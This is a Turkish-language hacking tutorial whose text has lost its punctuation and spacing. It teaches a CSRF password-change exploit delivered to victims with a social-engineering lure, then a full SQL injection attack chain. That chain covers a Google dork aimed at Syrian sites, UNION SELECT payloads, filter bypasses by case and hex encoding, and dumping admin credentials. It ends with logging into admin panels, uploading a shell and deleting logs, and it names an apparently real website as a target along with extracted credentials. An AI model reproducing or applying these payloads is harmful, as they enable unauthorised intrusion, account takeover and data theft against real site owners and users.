Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
gt
fakesayfaphp dosyası loghtm dosyası oluşturuyorLoglarımızı tutuyor
Evet arkadaşlar artık XSS lsquoi ayrıntısına kadar oumlğrendiniz
SQL İnjection1- SQL İnjection Nedir
SQL (Structured Query Language)
SQL İnjection duumlnya uumlzerinde en ccedilok ilgi goumlrev Web Uygulama zaafiyetidirSitelerdeki SQLveritabanına odaklı bir saldırı ccedileşididirKaba tabirle SQL veritabanının ccedilalıştıracağı SQL komutlarıylaSQL İnjection zaafiyeti bulunan bir sitedeki veri geccedilişini kullanarak kendi mevfaatlerimiz ccedilerccedilevesindehedef veriyi ccedilalmak iccedilin kullanılır
2- SQL İnjectionrsquoun Mantığı Nedir
Deminde bahsettiğim gibi SQL Veritabanı odaklı bir zaafiyet olduğu iccedilin direk veritabanıyla ilgilisaldırılar yapılırYani bize gerekli olan biraz SQL Komutu bilmektirAkılda kalıcılık accedilısından komik biroumlrnek vereyim
Bir HEDİYE kutusu varO hediye kutusunun iccedilerisinde hediyenin olduğunu duumlşuumlnelimKutuyu accediltınızve baktınız ki iccedilerisinde bir kutu daha varOnu da accediltınız onun iccedilerisinde de bir kutu var onu da accediltıktansonra son kutumuza geliyoruzO kutunun iccedilerisinde hediye yani hedef verimiz mevcuttur )
İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz
3- Temel SQL Komutlarını Tanıyalım
SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız
SELECT - Veri seccedilmek iccedilin
CREATE - Tablo yaratmak iccedilin
INSERT - Tablo eklemesi yapmak iccedilin
UPDATE - Veri guumlncelleme
DELETE - Veri silmek
DROP - Tablo silmek
FROM - (- den - dan beri )
WHERE - Nereden neresi nerede
Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var
4- SQL İnjection ile Neler Yapılabilir
SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz
5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır
SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır
SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz
Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz
6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak
Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım
a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)
Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde
Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli
wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor
Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım
SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım
Oumlrnek bir SQL İnjection hatası
Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz
b-) Search Kutularında SQL İnject Accedilığı Aramak
Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız
Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz
c-) Kayıt Formlarında SQL İnject Accedilığı Aramak
Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz
Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız
d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak
Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım
Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş
Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu
e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak
Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)
Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz
ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız
7-Saldırı Anı(SQL Accedilığının Tespiti)
Bir Web Sayfası duumlşuumlnuumln
wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen
wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit
8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)
Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım
Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler
Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim
wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml
wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana
Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz
wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi
wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş
Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz
9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)
Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım
Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım
wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz
-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass
Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen
wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit
wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz
wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur
Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden
10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)
Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz
Oumlnce Group_Concat Fonksiyonunu tanıyalım
Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım
wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--
Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik
table_name = Tablo isimleri
information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri
information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir
information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim
Ekrana yansıyan tablo isimlerine bir bakalım
adminresimleradreslerhizmetler vs vs olsun
bize burada lazım olacak tabloyu seccediliyoruz admin
Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız
Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri
Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--
Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz
Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)
Hexlenecek isim database()
Hexlenmiş Hali 64617461626173652829
Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--
Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz
11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)
Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi
Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz
Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Hexlenecek ad admin
Hexlenmiş hali 61646d696e
Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--
Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz
Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--
Sorguyu goumlnderdik
Username admin
Password bugres
Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur
UsernamePassword Char Code Ccedilevrilmiş Hali
StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)
Char Code halini group_concat() fonksiyonunun arasına yazıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--
Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz
12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)
Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi
Tekrar hatırlayalım
Uname admin
Pword bugres
Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız
Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim
Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır
Wordpress Admin panel yolu wp-admin
Joomla admin panel yolu administrator
Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz
Tahmine başlıyoruz
wwwsayfamcomadmin -gt Error
wwwsayfamcomyoneticiphp -gt Error
wwwsayfamcomadminphp -gt Error
wwwsayfamcomlog_inphp -gt Yess P
Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz
Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz
13-Saldırı Anı7(İzlerimizi Silmek)
Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor
14-Sonuccedil
Neler yaptık
Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor
15- Kaccedil Tuumlr SQL İnjection Vardır
a-) MySql İnjection
Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız
SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut
Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım
Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı
Bu accedilığın kullanımına geccedilelim
Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam
Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22
Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun
Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş
Şimdi kolonları yansıtalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz
Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz
Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--
Sorgusunun ardından ekrana tablersquolar yansıdı
Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )
Şimdi admin tablosundaki kolonlara bakalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
Ekrana userpassmail yansıdığını farz edelim
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--
User admin
Pass 123456
Email adminparoswinescom
b-) Ms Access SQL İnjection
Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml
SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr
Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo
Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir
Microsoft JET Database Engine error rsquo80040e14rsquo
Syntax error in string in query expression rsquoid = 10rsquo
sayfaasp line 7
Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz
wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti
wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata
Microsoft JET Database Engine error rsquo80040e14rsquo
The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression
sayfaasp line 7
Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek
wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış
Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım
wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza
Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani
wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--
ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir
wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--
Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur
User mahserat
Pass bugres
c-) Blind SQL İnjection
Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz
Gene bir hedef site duumlşuumlnuumln
wwwsayfacomdosyaphpid=2 olsun
Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz
wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor
and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz
Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz
wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım
wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş
Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325
burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir
Şimdi user sutuumlnunu ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572
Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim
and substring((select user from users)11)=0x(tahmin edilen users)
and substring((select pass from users)21)=0x(tahmin edilen users)
Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz
Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir
d-) String SQL İnjection
Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani
wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor
wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz
wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim
wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok
